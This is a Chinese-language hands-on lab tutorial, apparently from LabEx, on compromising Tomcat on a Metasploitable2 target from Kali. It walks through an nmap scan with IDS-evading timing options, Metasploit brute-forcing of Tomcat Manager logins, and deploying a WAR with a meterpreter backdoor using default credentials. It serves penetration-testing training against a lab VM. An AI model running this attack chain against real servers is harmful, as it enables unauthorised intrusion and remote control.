介绍
在本实验中,你将学习利用 Tomcat 漏洞的原理以及攻击它们的过程。在攻击过程中,你将学习如何使用 Kali Linux,并了解 Kali 中的攻击框架 Metasploit Framework (MSF)。本实验中被渗透的目标机器是基于 LabEx 提供的 Kali 环境的 Metasploitable2。
在本实验中,你将学习利用 Tomcat 漏洞的原理以及攻击它们的过程。在攻击过程中,你将学习如何使用 Kali Linux,并了解 Kali 中的攻击框架 Metasploit Framework (MSF)。本实验中被渗透的目标机器是基于 LabEx 提供的 Kali 环境的 Metasploitable2。
在一次典型的渗透测试中,我们需要进一步攻击目标机器。首先需要做的是对目标机器进行渗透扫描。在扫描过程中,我们可以发现机器提供的服务,然后根据可用信息判断是否存在漏洞。接下来,我们尝试渗透潜在的漏洞,并最终攻破目标机器以获取其漏洞。
sudo virsh start Metasploitable2
等待目标机器启动,可能需要 1-3 分钟。
ping 192.168.122.102
按下 Ctrl+C
停止 ping。
docker run -ti --network host b5b709a49cd5 bash
ping 192.168.122.102
按下 Ctrl+C
停止 ping。
现在攻击机和目标机都已运行,你可以开始渗透测试。
cd ~
msfconsole
nmap -sV -T5 target
在上述命令中,-T
设置扫描速度:
参数 | 含义 |
---|---|
nmap T0 |
极慢扫描,用于规避 IDS(入侵检测系统) |
nmap T1 |
慢速扫描,速度介于 0 和 2 之间,也可以规避某些 IDS |
nmap T2 |
降低扫描速度,通常不使用 |
nmap T3 |
默认扫描速度 |
nmap T4 |
可能会淹没目标,容易触发防火墙 |
nmap T5 |
极速扫描,牺牲准确性以换取速度 |
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
在这一步中,我们将开始利用 Tomcat 漏洞。我们将使用 auxiliary/scanner/http/tomcat_mgr_login
模块,该模块尝试使用一组特定的用户名和密码登录 Tomcat Manager。如果登录成功,它将输出结果。
攻击模块代码:
从扫描结果中,我们可以看到端口 8180
是开放的。让我们尝试攻击这个端口。首先,在 MSF 终端中搜索 Tomcat 模块,看看是否有相应的漏洞模块:
cd ~
msfconsole
search tomcat
use
命令选择适当的模块:use auxiliary/scanner/http/tomcat_mgr_login
show options
set
命令设置参数:set RHOSTS 192.168.122.102
set RPORT 8180
exploit
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
在从相应模块获取到 Tomcat 密码后,我们将使用该密码渗透目标机器。我们将使用 exploit/multi/http/tomcat_mgr_deploy
模块,该模块登录到 Tomcat Manager 并执行一个 payload。这个 payload 使用 PUT 操作上传一个 WAR 包,而这个 WAR 包包含一个提供 meterpreter 后门 shell 的 JSP 文件。
攻击模块代码:
cd ~
msfconsole
search tomcat
use exploit/multi/http/tomcat_mgr_deploy
show
命令查看必要的参数:show options
set rhost 192.168.122.102
set rport 8180
set httpusername tomcat
set httppassword tomcat
exploit
sysinfo
不要输入 whoami
,因为这会导致错误,因为这里使用的 meterpreter payload 不支持像 hostname
、id
、whoami
等命令。你可以使用 help
命令查看它支持的命令:
如下所示,它显示了操作系统信息:
Computer : metasploitable
OS : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter : java/linux
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
在本实验中,你学习了 Tomcat 漏洞的原理以及攻击它的过程。通常,在渗透测试之前,我们需要收集目标机器的信息。在信息收集过程中,我们可以更好地发现漏洞并攻破目标机器。完成本实验后,你应该掌握以下知识点: